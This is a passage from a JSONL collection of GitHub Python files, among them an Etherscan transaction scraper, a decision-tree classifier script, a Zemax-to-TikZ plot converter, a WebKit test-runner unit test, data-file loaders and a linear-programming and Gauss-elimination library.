'Failure'\n\t\t\telif 'Pending' in div.text:\n\t\t\t\tdata['status'] = 'Pending'\n\t\t\telse:\n\t\t\t\tdata['status'] = 'Unknown'\n\t\t# action \n\t\tif 'Transaction Action:' in div.text:\n\t\t\tsub_div = div.find_all(\"div\", attrs = {'class':'media-body'})\n\t\t\tif len(sub_div) > 0:\n\t\t\t\tsub_div = sub_div[0]\n\t\t\t\ttransaction_action = ''\n\t\t\t\tfor element in sub_div.contents:\n\t\t\t\t\tif len(element.text) > 0:\n\t\t\t\t\t\ttransaction_action = transaction_action + ' ' + element.text\n\t\t\t\tdata['action'] = transaction_action \n\t\t# value \n\t\tif 'Value:' in div.text:\n\t\t\tvalue_result = div.find_all(id=\"ContentPlaceHolder1_spanValue\")\n\t\t\tif len(value_result) > 0:\n\t\t\t\tdata['value'] = value_result[0].text\n\t\t\telse:\n\t\t\t\tdata['value'] = 'Not found'\n\t\t# transaction fee \n\t\tif 'Transaction Fee:' in div.text:\n\t\t\tfee_result = div.find_all(id='ContentPlaceHolder1_spanTxFee')\n\t\t\tif len(fee_result) > 0:\n\t\t\t\tdata['txfee'] = fee_result[0].text\n\t\t\telse:\n\t\t\t\tdata['txfee'] = 'Not found'\n\t\t# maximum transaction fee \n\t\tif 'Max Txn Cost/Fee:' in div.text:\n\t\t\tfee_result = div.find_all(id='ContentPlaceHolder1_spanTxFee')\n\t\t\tif len(fee_result) > 0:\n\t\t\t\tdata['maxfee'] = fee_result[0].text\n\t\t\telse:\n\t\t\t\tdata['maxfee'] = 'Not found'\n\t\t# gas limit\n\t\tif 'Gas Limit:' in div.text:\n\t\t\tlimit_result = div.find_all(id='ContentPlaceHolder1_spanGasLimit')\n\t\t\tif len(limit_result) > 0:\n\t\t\t\tdata['gaslimit'] = limit_result[0].text\n\t\t\telse:\n\t\t\t\tdata['gaslimit'] = 'Not found'\n\t\t# gas price \n\t\tif 'Gas Price:' in div.text:\n\t\t\tprice_result = div.find_all(id='ContentPlaceHolder1_spanGasPrice')\n\t\t\tif len(price_result) > 0:\n\t\t\t\tdata['gasprice'] = price_result[0].text\n\t\t\telse:\n\t\t\t\tdata['gasprice'] = 'Not found'\n\t\t# Nonce \n\t\tif 'Nonce' in div.text:\n\t\t\tnonce_result = div.find_all(attrs={'title':'Transaction Nonce'})\n\t\t\tif len(nonce_result) > 0:\n\t\t\t\tdata['nonce'] = nonce_result[0].text\n\t\t\telse:\n\t\t\t\tif 'Pending' in div.text:\n\t\t\t\t\tdata['nonce'] = 'Pending'\n\t\t\t\telse:\n\t\t\t\t\tdata['nonce'] = 'Not found'\n\treturn data","repo_name":"abitdrag/Etherscan-Transaction","sub_path":"etherfetch.py","file_name":"etherfetch.py","file_ext":"py","file_size_in_byte":4074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5776132737","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Feb  2 18:32:09 2018\r\n\r\n@author: ChenZhengyang\r\n\"\"\"\r\n\r\nimport os\r\nimport numpy as np \r\nimport pandas as pd \r\nfrom sklearn import preprocessing\r\nfrom sklearn import metrics\r\nfrom sklearn import tree\r\nfrom sklearn.externals.six import StringIO\r\nimport pydotplus as pdp\r\nimport sklearn.metrics as mat\r\n\r\ntrain = pd.read_csv(\"../DATASET/BANK/MT_Train.csv\")\r\ntest = pd.read_csv('../DATASET/BANK/MT_Test.csv')\r\n\r\n#\r\ntrain['source']= 'train'\r\ntest['source'] = 'test'\r\ndata=pd.concat([train, test],ignore_index=True)\r\n#data.shape\r\n\r\n#\r\ndata.drop('default',axis=1,inplace=True)\r\ndata.drop('emp.var.rate',axis=1,inplace=True)\r\n\r\n#\r\nfrom sklearn.preprocessing import LabelEncoder\r\nle = LabelEncoder()\r\nvar_to_encode = ['job','marital','education','day_of_week','month','housing','loan','poutcome']\r\nfor col in var_to_encode:\r\n    data[col] = le.fit_transform(data[col])\r\n    \r\n#\r\n#data = pd.get_dummies(data, columns=var_to_encode)\r\n#data.columns\r\n#\r\ndata[\"contact\"]=preprocessing.LabelBinarizer().fit_transform(data[\"contact\"])\r\ndata[[\"pdays\"]] = preprocessing.Binarizer(threshold=998).transform(data[[\"pdays\"]])\r\n\r\ntrain_mod = data.loc[data['source']=='train']\r\ntest_mod = data.loc[data['source']=='test']\r\ntrain=train_mod.copy()\r\ntest=test_mod.copy()\r\ntrain.drop(['source','SampleId'],axis=1,inplace=True)\r\ntest.drop(['source','y'],axis=1,inplace=True)\r\n\r\n#\r\ntrain[\"y\"]=preprocessing.LabelBinarizer().fit_transform(train[\"y\"])\r\n#train.head()\r\n\r\nx=train[train.columns.drop('y')]\r\ny= train['y']\r\n\r\n#\r\nfrom sklearn.model_selection import train_test_split\r\nx_train, x_test, y_train, y_test = train_test_split(\r\n     x,y,test_size=0.33, random_state=0)\r\n#----------------------------------------------end of data preprocessing-------------\r\n\r\nlearner=tree.DecisionTreeClassifier(\"gini\",max_depth=5)\r\nlearner.fit(x_train, y_train)\r\n\r\nresult=learner.predict(x_test)\r\n#print (result)\r\n\r\nfrom IPython.display import Image\r\n\r\ndef plot_tree(clf,feature_names):\r\n    tree.export_graphviz(learner,out_file='tree.dot',class_names=['No','Yes'],feature_names=feature_names, \r\n                         filled=True, rounded=True, special_characters=True, proportion=True)\r\n    os.system(\"dot -Tpng tree.dot -o tree.png\")\r\n    os.system(\"tree.png\")\r\nplot_tree(learner, x_train.columns)\r\n# Note : Uncoverted Quotes (Yes) and Converted quotes (No)\r\nImage(filename='tree.png')\r\n\r\n\r\nmaxdepth = 50\r\ntree_auc_trn= np.zeros(maxdepth)\r\ntree_auc_tst= np.zeros(maxdepth)\r\nfor i in range(1,maxdepth):\r\n    clf1 = tree.DecisionTreeClassifier(criterion=\"gini\",max_depth=i)\r\n    clf1 = clf1.fit(x_train, y_train)\r\n    tree_auc_trn[i] = mat.roc_auc_score(y_test, clf1.predict_proba(x_test)[:,1])\r\n    tree_auc_tst[i] = mat.roc_auc_score(y_train, clf1.predict_proba(x_train)[:,1])\r\n\r\nfrom matplotlib import pyplot\r\npyplot.plot(tree_auc_tst, linewidth=3, label = \"Decision tree test AUC\")\r\npyplot.plot(tree_auc_trn, linewidth=3, label = \"Decision tree train AUC\")\r\npyplot.legend()\r\npyplot.ylim(0.5, 1.0)\r\npyplot.xlabel(\"Max_depth\")\r\npyplot.ylabel(\"validation auc\")\r\n#plt.figure(figsize=(12,12))\r\npyplot.show()\r\n\r\n\r\npara = 30\r\ntree_auc_trn = np.zeros(para)\r\ntree_auc_tst = np.zeros(para)\r\nfor i in range(2,para):\r\n    #tree.DecisionTreeClassifier(criterion=,min_samples_leaf=)\r\n    clf1 = tree.DecisionTreeClassifier(criterion=\"gini\",max_leaf_nodes=i)\r\n    clf1 = clf1.fit(x_train, y_train)\r\n    tree_auc_trn[i] = mat.roc_auc_score(y_test, clf1.predict_proba(x_test)[:,1])\r\n    tree_auc_tst[i] = mat.roc_auc_score(y_train, clf1.predict_proba(x_train)[:,1])\r\n\r\nfrom matplotlib import pyplot\r\npyplot.plot(tree_auc_tst, linewidth=3, label = \"Decision tree test AUC\")\r\npyplot.plot(tree_auc_trn, linewidth=3, label = \"Decision tree train AUC\")\r\npyplot.legend()\r\npyplot.ylim(0.8, 1.0)\r\npyplot.xlabel(\"Max_depth\")\r\npyplot.ylabel(\"validation auc\")\r\n#plt.figure(figsize=(12,12))\r\npyplot.show()\r\n","repo_name":"victorchen945/Machine-Learning","sub_path":"DECISION TREE/decision_tree_BANK.py","file_name":"decision_tree_BANK.py","file_ext":"py","file_size_in_byte":3886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40147040231","text":"import argparse\r\nimport os.path\r\nfrom math import sqrt\r\n\r\ndef is_number(s):\r\n    try:\r\n        float(s)\r\n        return True\r\n    except ValueError:\r\n        return False\r\ndef mrad_to_min(mrad):\r\n    return (mrad/1000)*180*60/3.1415927\r\n\r\nplot_types={\r\n    # name:(x_column, y_label,x_label,x_label_afocal, label)\r\n    \"lon\": (1, r\"$-m'$\",             r\"$\\Delta s'$, мм\", r\"$\\Delta s'$, дптр\", u\"Продольная сферическая аберрация\"),\r\n    \"sph\": (1, r\"$m'-m_{гл}$, мм\",   r\"$\\Delta y'$, мм\",   r\"$\\sigma'$, мин\", u\"Поперечная сферическая аберрация\"),\r\n    \"tang\":(1, r\"$m'-m_{гл}$, мм\",   r\"$\\Delta y'$, мм\",   r\"$\\sigma'$, мин\", u\"Меридиональное сечение\"),\r\n    \"sag\": (1, r\"$M'$, мм\",   r\"$\\Delta x'$, мм\",   r\"$\\psi'$, мин\", u\"Сагиттальное сечение\"),\r\n    \"cfs\": (1, r\"$\\lambda$, мкм\", r\"$\\Delta s'$, мм\",   r\"$\\Delta s'$, дптр\", u\"Хроматизм положения\"),\r\n    \"dist\":(5, r\"$-\\omega'$, град\", r\"$\\Delta y'$, мм\",   r\"$\\Delta\\omega'$, \\%\", u\"Дисторсия\"),\r\n    \"ast\": (1, r\"$-\\omega'$, град\", r\"$L'$, мм\",r\"$L'cos\\omega'$, дптр\", u\"Астигматизм\"),\r\n}\r\npreamble=[\r\n    '\\\\documentclass{article}\\n',\r\n    '\\\\usepackage{mathtext}\\n',\r\n    '\\\\usepackage{tikz}\\n',\r\n    '\\\\usepackage{pgfplots}\\n',\r\n    '\\\\usepackage[utf8]{inputenc}\\n',\r\n    '\\\\usepackage[english,russian]{babel}\\n',\r\n    '\\\\begin{document}\\n',\r\n    '\\\\thispagestyle{empty}\\n',\r\n    '\\\\begin{tikzpicture}\\n',\r\n    '\\t\\\\begin{axis}[\\n',\r\n    '\\t\\taxis lines=middle,\\n',\r\n    '\\t\\tno markers,\\n',\r\n    '\\t\\tscaled x ticks=false,\\n',\r\n    '\\t\\ttick label style={\\n',\r\n    '\\t\\t\\t/pgf/number format/fixed,\\n',\r\n    '\\t\\t\\t/pgf/number format/precision=3,\\n',\r\n    '\\t\\t\\t/pgf/number format/use comma,\\n',\r\n    '\\t\\t},\\n',\r\n    '\\t\\tenlarge y limits={rel=0.2},\\n',\r\n    '\\t\\tenlarge x limits={rel=0.2},\\n',\r\n    '\\t\\txlabel style={at=(current axis.right of origin), anchor=west},\\n',\r\n    '\\t\\tylabel style={at=(current axis.above origin), anchor=south},\\n',\r\n]\r\npostfix=[\r\n    '\\t\\end{axis};\\n',\r\n    '\\\\end{tikzpicture}\\n',\r\n    '\\\\end{document}\\n'\r\n]\r\nspectral_lines=[\r\n    (759.37,\"А\"),\r\n    (686.719,\"B\"),\r\n    (656.281,\"C\"),\r\n    (627.661,\"а\"),\r\n    (589.592,\"D1\"),\r\n    (588.995,\"D2\"),\r\n    (587.5618,\"D3\"),\r\n    (546.073,\"е\"),\r\n    (527.039,\"E2\"),\r\n    (518.362,\"b1\"),\r\n    (517.27,\"b2\"),\r\n    (516.891,\"b3\"),\r\n    (516.733,\"b4\"),\r\n    (495.761,\"c\"),\r\n    (486.134,\"F\"),\r\n    (466.814,\"d\"),\r\n    (438.355,\"e'\"),\r\n    (434.047,\"G'\"),\r\n    (430.79,\"G\"),\r\n    (430.774,\"g\"),\r\n    (410.175,\"h\"),\r\n    (396.847,\"H\"),\r\n]\r\n\r\nap = argparse.ArgumentParser(\r\n    description=\"Create files for TikZ plotting from Zemax text report files.\"\r\n)\r\nap.add_argument(\r\n    'path', \r\n    metavar='path', \r\n    type=str,\r\n    help='path to zmx report file'\r\n)\r\nap.add_argument(\r\n    'outputdir', \r\n    metavar='outputdir', \r\n    type=str,\r\n    help='directory for CSV and TeX file output'\r\n)\r\nap.add_argument(\r\n    \"-t\",\r\n    action='store', \r\n    dest='type', \r\n    required=True, \r\n    type=str, \r\n    choices=[\"tang\", \"sag\", \"lon\", \"cfs\", \"ast\",\"sph\", \"dist\"], \r\n    help='type of plot'\r\n)\r\nap.add_argument(\r\n    \"--afocal\", \r\n    \"-a\",\r\n    required=False, \r\n    help=\"system is afocal\", \r\n    action=\"store_true\", \r\n    dest='afocal'\r\n)\r\nap.add_argument(\r\n    \"--yscale\", \r\n    \"-y\",\r\n    dest='yscale', \r\n    type=float,\r\n    required=False, \r\n    default=1,\r\n    help=\"y coord scale multiplier (for wide beam aberrations equals exit pupil radius), default 1\"\r\n)\r\nap.add_argument(\r\n    \"--enc\",\r\n    \"-e\",\r\n    required=False,\r\n    type=str,\r\n    dest=\"enc\",\r\n    choices=[\"ansi\",\"utf-8\",\"utf-16-le\",\"utf-16-be\",\"utf-32\"],\r\n    default=\"ansi\",\r\n    help=\"input file encoding\",\r\n)\r\nargs=ap.parse_args()\r\n\r\nplottype = args.type\r\nx_column_index, y_label, x_label, x_label_afocal, label = plot_types.get(plottype)\r\nif args.afocal:\r\n    x_label = x_label_afocal\r\nfpath = os.path.normpath(args.path)\r\nfname = os.path.splitext(os.path.basename(fpath))[0]\r\noutdir = os.path.normpath(args.outputdir)\r\nif not os.path.isdir(outdir):\r\n    print('ERROR: output directory specified with --outputdir key not recognized as valid')\r\n    os._exit(1)\r\n\r\nreport = open(fpath, 'r', encoding=args.enc)\r\nis_sagittal=False\r\nwaves=[]\r\ncoords=[]\r\nfor line in report:\r\n    words=line.split()\r\n    if len(words)==0:\r\n        continue\r\n    if is_number(words[0]):\r\n        if not ((plottype==\"sag\" and not is_sagittal) or ((plottype==\"tang\" or plottype=='sph') and is_sagittal)):\r\n            x=[] #list of x coords in case there are more than one\r\n            y=float(words[0])\r\n            if not (plottype=='tang' or plottype=='sag' or plottype=='sph'):\r\n                y=abs(y)\r\n            if plottype=='lon':\r\n                for i,wvl in enumerate(waves):\r\n                    x.append(float(words[x_column_index+i]))\r\n            elif plottype=='ast':\r\n                L_m=float(words[x_column_index])\r\n                L_s=float(words[x_column_index+1])\r\n                real_dir_cos = float(words[3])\r\n                field_cos = sqrt(1-real_dir_cos**2)\r\n                x.append(L_m*field_cos)\r\n                x.append(L_s*field_cos)\r\n            elif args.afocal and (plottype=='tang' or plottype=='sag'):\r\n                x.append(mrad_to_min(float(words[x_column_index])))\r\n            else:\r\n                x.append(float(words[x_column_index]))\r\n            coords.append([y,x])\r\n    else:\r\n        if line.find(\"Sagittal fan\") > -1:\r\n            is_sagittal=True\r\n        if plottype=='lon' and line.find(\"Rel. Pupil\") > -1:\r\n            #generate wavelength list\r\n            waves=[float(word) for word in words if is_number(word)]\r\nreport.close()\r\nif len(coords) == 0:\r\n    print(\"ERROR: no coordinates found in file\")\r\n    print(\"Probably wrong input file encoding. Either use the --encoding option to specify the right one or convert to ASCII\")\r\n\r\ncsv_files=[]\r\nfor col in range(0,len(coords[0][1])):\r\n    #for each x var we'll create a table\r\n    table=[]\r\n    for coord in coords:\r\n        x=coord[1][col]\r\n        y=coord[0]\r\n        table.append((x,y))\r\n    fname_csv=f'{fname.replace(\"_\",\"\")}wave{col}{plottype[0]}.csv'\r\n    csv_files.append(fname_csv)\r\n    fpath_csv=os.path.join(outdir,fname_csv)\r\n    with open(fpath_csv, \"w\") as csvfile:\r\n        for row in table:\r\n            csvfile.write(f\"{row[0]},{row[1]}\\n\")\r\nprint(f\"Saving {len(csv_files)} CSV table(s) of coordinates in /{outdir}/.\")\r\n\r\nplot_labels=[]\r\nif plottype=='lon':\r\n    for wave in waves:\r\n        waveletter=''\r\n        for spectral_line in spectral_lines:\r\n            if abs(spectral_line[0]-wave*1000) < 10.0:\r\n                waveletter=spectral_line[1]\r\n        texcode = '$\\lambda_{' + waveletter + '}$' \r\n        plot_labels.append(texcode)\r\nelif plottype=='ast':\r\n    if args.afocal:\r\n        plot_labels.append(r\"$L'_m cos\\omega$\")\r\n        plot_labels.append(r\"$L'_s cos\\omega$\")\r\n    else:\r\n        plot_labels.append(\"$L'_m$\")\r\n        plot_labels.append(\"$L'_s$\")\r\n\r\nif plottype=='cfs':\r\n    ytick=''\r\n    for wave in waves:\r\n        ytick+=str(wave)\r\nelse:\r\n    ytick='0.7,1'\r\n    yticklabels=f'{round(args.yscale*0.7,1)},{args.yscale}'\r\n\r\nfname_tex = fname.replace(\"_\",\"\")+plottype[0].capitalize()+\".tex\"\r\nfpath_tex = os.path.join(outdir, fname_tex)\r\nwith open(fpath_tex,'w', encoding='utf-8') as texfile:\r\n    texfile.writelines(preamble)\r\n    #texfile.write('\\t\\ttitle={' + label + '},\\n')\r\n    texfile.write('\\t\\txlabel={' + x_label + '},\\n')\r\n    texfile.write('\\t\\tylabel={' + y_label + '},\\n')\r\n    if not (plottype=='ast' or plottype=='dist'):\r\n        texfile.write('\\t\\tytick={'+ytick+'},\\n')\r\n        if not plottype=='cfs':\r\n            texfile.write('\\t\\tyticklabels={'+yticklabels+'},\\n')\r\n    texfile.write('\\t\\t]\\n')\r\n    for i,csv_name in enumerate(csv_files):\r\n        label=''\r\n        if plottype=='lon' or plottype=='ast':\r\n            label= ' node[above]{' + plot_labels[i] + '}'\r\n        texfile.write('\\t\\t\\\\addplot[color=black] table[col sep=comma]{' + csv_name + '}' + label + ';\\n')\r\n    texfile.writelines(postfix)\r\nprint(\"Saving TeX file.\")","repo_name":"mikhail-rodin/OpticGOST","sub_path":"plotting/ZMXtoTikZ.py","file_name":"ZMXtoTikZ.py","file_ext":"py","file_size_in_byte":8200,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"11346934356","text":"import logging\nimport re\nimport unittest\n\nfrom webkitcorepy import StringIO\n\nfrom webkitpy.tool.mocktool import MockOptions\nfrom webkitpy.test.printer import Printer\nfrom webkitpy.test.runner import Runner\n\n\nclass FakeTestCase(object):\n    def __init__(self, name):\n        self.name = name\n        self.failureException = AssertionError\n\n    def id(self):\n        return self.name\n\n\nclass FakeModuleSuite(object):\n    def __init__(self, name, result, msg):\n        self.name = name\n        self.result = result\n        self.msg = msg\n\n    def __str__(self):\n        return self.name\n\n    def run(self, result):\n        tc = FakeTestCase(self.name)\n        result.startTest(tc)\n        try:\n            if self.result == 'F':\n                result.addFailure(tc, (None, None, None))\n            elif self.result == 'E':\n                result.addError(tc, (None, None, None))\n            elif self.result == '.':\n                result.addSuccess(tc)\n            else:\n                assert False, \"unreachable\"\n        finally:\n            result.stopTest(tc)\n\n\nclass FakeTopSuite(object):\n    def __init__(self, tests):\n        self._tests = tests\n\n\nclass FakeLoader(object):\n    def __init__(self, *test_triples):\n        self.triples = test_triples\n        self._tests = []\n        self._results = {}\n        for test_name, result, msg in self.triples:\n            self._tests.append(test_name)\n            m = re.match(r\"(\\w+) \\(([\\w.]+)\\)\", test_name)\n            self._results['%s.%s' % (m.group(2), m.group(1))] = tuple([test_name, result, msg])\n\n    def top_suite(self):\n        return FakeTopSuite(self._tests)\n\n    def loadTestsFromName(self, name, _):\n        return FakeModuleSuite(*self._results[name])\n\n\nclass RunnerTest(unittest.TestCase):\n    def setUp(self):\n        # Here we have to jump through a hoop to make sure test-webkitpy doesn't log\n        # any messages from these tests :(.\n        self.root_logger = logging.getLogger()\n        self.log_levels = []\n        self.log_handlers = self.root_logger.handlers[:]\n        for handler in self.log_handlers:\n            self.log_levels.append(handler.level)\n            handler.level = logging.CRITICAL\n\n    def tearDown(self):\n        for handler in self.log_handlers:\n            handler.level = self.log_levels.pop(0)\n\n    def test_run(self, verbose=0, timing=False, child_processes=1, quiet=False):\n        options = MockOptions(verbose=verbose, timing=timing, child_processes=child_processes, quiet=quiet, pass_through=False)\n        stream = StringIO()\n        loader = FakeLoader(('test1 (Foo)', '.', ''),\n                            ('test2 (Foo)', 'F', 'test2\\nfailed'),\n                            ('test3 (Foo)', 'E', 'test3\\nerred'))\n        runner = Runner(Printer(stream, options), loader)\n        runner.run(['Foo.test1', 'Foo.test2', 'Foo.test3'], 1)\n        self.assertEqual(len(runner.tests_run), 3)\n        self.assertEqual(len(runner.failures), 1)\n        self.assertEqual(len(runner.errors), 1)\n","repo_name":"WebKit/WebKit","sub_path":"Tools/Scripts/webkitpy/test/runner_unittest.py","file_name":"runner_unittest.py","file_ext":"py","file_size_in_byte":2991,"program_lang":"python","lang":"en","doc_type":"code","stars":6880,"dataset":"github-code","pt":"3"}
+{"seq_id":"32285952","text":"import json\nfrom xml.dom import minidom\nimport os\nimport csv\n\ndef cargar_datosjson(ruta):\n    print('-------------Este es el archivo JSON-------------')\n    with open(ruta)as contenido:\n        grupos = json.load(contenido)\n        for grupo in grupos:\n            print('Nombre:' , grupo.get('Nombre',''))\n            print('Debut:', grupo.get('Debut',''))\n            print('Integrantes:' ,grupo.get('Integrantes',''))\n            print('Ultimo álbum:',grupo.get('Ultimo album',''))\n            print('---------------')\n\n\ndef cargar_datosxml(ruta0):\n    print('-------------Este es el archivo XML-------------')\n    docXml = minidom.parse(ruta0)\n    fandoms = docXml.getElementsByTagName(\"Fandom\")\n    \n    for fandom in fandoms:\n        sid = fandom.getAttribute(\"ID\")\n        nombre = fandom.getElementsByTagName(\"Nombre\")[0] \n        grupo = fandom.getElementsByTagName(\"Grupo\")[0] \n        lema = fandom.getElementsByTagName(\"Lema\")[0] \n        color = fandom.getElementsByTagName(\"Color\")[0] \n\n        print(\"id:%s\" %sid)\n        print(\"Nombre:%s\" %nombre.firstChild.data)\n        print(\"Grupo:%s\" %grupo.firstChild.data)\n        print(\"Lema:%s\" %lema.firstChild.data)\n        print(\"Color:%s\" %color.firstChild.data)\n        print('---------------')\n\ndef cargar_datos(ruta1):\n    print('-------------Este es el archivo CSV-------------')\n    with open(ruta1) as f:\n        reader = csv.reader(f)\n        encabezado = next(reader)\n        print(encabezado)\n        \n        for registro in reader:\n            print(registro)\n    \n\n\n\n\nif __name__ == '__main__':\n   \n    ruta='registro.json'\n    cargar_datosjson(ruta)  \n    ruta0='registro.xml'\n    cargar_datosxml(ruta0)\n    ruta1='registro.csv'\n    cargar_datos(ruta1)\n\n    \n\n\n","repo_name":"OsmarPSantizo/Tarea-2","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19401808492","text":"# coding=gbk\n\"\"\"\nauthor(作者): Channing Xie(谢琛)\ntime(时间): 2020/3/31 14:08\nfilename(文件名): remove_and_keep_sequence.py\nfunction description(功能描述):\n    去除序列中出现的重复元素，但仍然保持剩下的元素顺序不变\n    如果序列中的值是可哈希的(数字、元组等)，则可通过集合和生成器来解决。\n    如果序列中的值是不可哈希的(字典、列表等)，则需要指定一个函数来将序列转换为可哈希的类型\n    直接用集合则不能保证顺序不变\n...\n\"\"\"\n\n\ndef dedupe_hashable(items):\n    seen = set()\n    for item in items:\n        if item not in seen:\n            yield item\n            seen.add(item)\n\n\ndef dedupe_unhashable(items, key=None):\n    seen = set()\n    for item in items:\n        val = item if key is None else key(item)\n        if val not in seen:\n            yield item\n            seen.add(val)\n\n\na = [1, 5, 2, 1, 9, 1, 5, 10]\nb = [{'x': 1, \"y\": 2}, {'x': 1, \"y\": 3}, {'x': 1, \"y\": 2}, {'x': 2, \"y\": 4}]\nc = [[1, 2], [1, 3], [1, 2], [2, 4]]\nprint(list(dedupe_hashable(a)))\nprint(list(dedupe_unhashable(b, key=lambda d: (d['x'], d['y']))))\nprint(list(dedupe_unhashable(c, key=tuple)))\n","repo_name":"XieChen10983/python_cookbook","sub_path":"第1章 数据结构和算法/1.10 从序列中移除重复项且保持元素间顺序不变/remove_and_keep_sequence.py","file_name":"remove_and_keep_sequence.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34262616811","text":"import numpy as np\nimport copy\nimport pandas as pd\nimport functools\nfrom itertools import product\n\n'''\nСписок основных функций в библиотеке:\nuniversal_solver - Функция для решения задачи линейного программирования\nergo_solver - Функция, решающая задачу нахождения ящиков в матрице состояний и генерирующая Пи матрицу\ngauss_solver - Функция, приводящая матрицу к треугольному виду\ngauss_right_solver - Функция, приводящая матрицу к треугольному виду с учетом правой части\n\nСписок вспомогательных функций в библиотеке:\ninput_converter - Преобразование Excel файла или чистых данных в Dataframe\nsolver - Расчет задачи линейного программирования\nheapify - Создание дерева индексов для сортировки\nheap_sort - Сортировка\nprepare_data - Преобразование данных для задачи линейного программирования\nlinear_matrix - Решение системы линейных уравнений\npi_matrix - Расчет матрицы Пи\nswap_rows - Изменение позиций строк \ndivide_row - Деление строк \ncombine_rows - Соединение строк \ngauss - Создание треугольной матрицы \nfind_boxes - Нахождение ящиков и проходов в матрице состояний\nswap_rows_right - Изменение позиций строк с учетом правой части\ndivide_row_right - Деление строк с учетом правой части\ncombine_rows_right - Соединение строк с учетом правой части\ngauss_right - Создание треугольной матрицы с учетом правой части\n'''\n\n\ndef universal_solver(input_data, method):\n    # Объявляем имя столбцов содержащих решение задачи\n    X, F = 'Минимизирующее решение X' if method == 'min' else 'Максимизирующее решение Х', 'Значение  F'\n    if '.csv' in input_data:\n        # Читаем данные из файла и создаем объект DataFrame\n        df = pd.read_csv('in.csv', sep=';')\n        # Используем функцию подготовки данных, для получения списков значений\n        C, A1, A2 = prepare_data(df)\n        # Дополняем DataFrame столбцом со значениями х-сов полученных из функции solver\n        df[X], df[F] = solver(C, [A1, A2], method)\n        df[F][1:] = None\n        # Записываем данные DataFrame в файл csv\n        df.to_csv('out.csv', index=False, sep=';')\n        print('Решение записано в файл out.csv')\n    elif '.xlsx' in input_data:\n        # Читаем данные из файла и создаем объект DataFrame\n        df = pd.read_excel('Data.xlsx', sheet_name='Лист1', engine='openpyxl')\n        # Используем функцию подготовки данных, для получения списков значений\n        C, A1, A2 = prepare_data(df)\n        # Дополняем DataFrame столбцом со значениями х-сов полученных из функции solver\n        df[X], df[F] = solver(C, [A1, A2], method)\n        df[F][1:] = None\n        # Записываем данные DataFrame в исходный файл Excel\n        writer = pd.ExcelWriter('Data.xlsx')\n        df.to_excel(writer, 'Test', index=False)\n        writer.save()\n        print('Решение записано в файл Excel')\n    elif len(input_data) == 2 and len(input_data[0]) == len(input_data[1][0]):\n        # Входные данные передаются напрямую в функцию\n        x_final, f_final = solver(input_data[0], input_data[1], method)\n        # Печатаем решение в консоль\n        print('X =', x_final, ' F max =' if method == 'max' else ' F min =', f_final)\n        return x_final, f_final\n    else:\n        print('Ошибка! Некорректные входные данные.')\n\n\ndef ergo_solver(input_data):\n    df = input_converter(input_data)\n    gates, boxes = find_boxes(df)\n    print('Проходные состояния:' + '\\n', gates)\n    print('Ящики:' + '\\n', *boxes)\n    LinResult = linear_matrix(df, boxes)\n    Pi_matrix = pi_matrix(df, gates, boxes, LinResult)\n    print('Рассчитанная матрица Пи:' + '\\n', Pi_matrix)\n    return Pi_matrix\n\n\ndef gauss_solver(input_data):\n    # Считывание и распознавание данных\n    df = input_converter(input_data)\n    # Преобразование из DataFrame в массив\n    A = df.to_numpy()[:, :len(df)]\n    #B = df.to_numpy()[:, len(df) + 1]\n    # Запуск основной функции расчета\n    #M = gauss_right(A.tolist(), B.tolist())\n    M = gauss(A.tolist())\n    #print(np.array(M[0]), np.array(M[1]), sep='\\n\\n')\n    print(np.array(M[0]))\n    # Отправляем на выход обработан��ую матрицу и вектор значений\n    #return np.array(M[0]), np.array(M[1])\n    return np.array(M[0])\n\n\ndef gauss_right_solver(input_data):\n    df = input_converter(input_data)\n    A = df.to_numpy()[:, :len(df)]\n    B = df.to_numpy()[:, len(df) + 1]\n    M = gauss_right(A.tolist(), B.tolist())\n    print(np.array(M[0]), np.array(M[1]), sep='\\n\\n')\n    return np.array(M[0]), np.array(M[1])\n\n\ndef input_converter(input_data):\n    if '.xlsx' in input_data:\n        # Считываем данные из файла Excel\n        df = pd.read_excel(input_data, sheet_name='Лист1', header=None)\n    elif isinstance(input_data, pd.DataFrame):\n        df = input_data\n    elif not isinstance(input_data, pd.DataFrame):\n        df = pd.DataFrame(input_data)\n    else:\n        print('Ошибка! Некорректные входные данные.')\n        return None\n    return df\n\n\ndef solver(c, a, method):\n    sum_a1 = 0\n    sum_a2 = 0\n    k = 0\n    for i in range(len(a[0])):\n        sum_a1 += a[0][i]\n        sum_a2 += a[1][i]\n    if sum_a1 > 1 or sum_a2 < 1:\n        print(\"Ошибка ограничений, множество пустое!\")\n        return\n    for i in range(len(a[0])):\n        if a[0][i] == a[1][i]:\n            k += 1\n        elif a[0][i] < 0 or a[1][i] < 0:\n            print(\"Ограничения Отрицательные!\")\n            return\n        elif a[0][i] > 1 or a[1][i] > 1:\n            print(\"Ограничения больше единицы!\")\n            return\n        elif a[0][i] > a[1][i]:\n            print(\"Нижнее ограничение больше верхнего!\")\n            return\n    if k == len(a[0]) or sum_a1 == 1 or sum_a2 == 1:\n        print(\"Ошибка ограничений, множество состоит из одного элемента!\")\n        return\n    k = 0\n    for i in range(len(c) - 1):\n        if c[i] == c[i + 1]:\n            k = k + 1\n    if k == len(c) - 1:\n        print(\"Любой вектор из множества является решением задачи!\")\n        return\n    r = [[0] * len(c) for _ in range(4)]\n    for i in range(len(c)):\n        r[0][i] = c[i]\n        r[1][i] = i + 1\n        r[2][i] = a[0][i]\n        r[3][i] = a[1][i]\n    heap_sort(copy.deepcopy(r[0]), r)\n    if method == 'max':\n        for b in r:\n            b.reverse()\n    x, y, z, sum_for_alpha, alpha, r2 = [], [], [], 0, 0, copy.deepcopy(r[2])\n    if sum_a1 < 1:\n        if sum_a2 > 1:\n            for _ in range(len(a[0])):\n                x.append(r2)\n            for i in range(len(a[0])):\n                for j in range(i + 1):\n                    x[j][i] = r[3][j]\n                y.append(0)\n                for j in range(len(a[0])):\n                    y[i] += x[i][j]\n                if y[i] >= 1:\n                    for j in 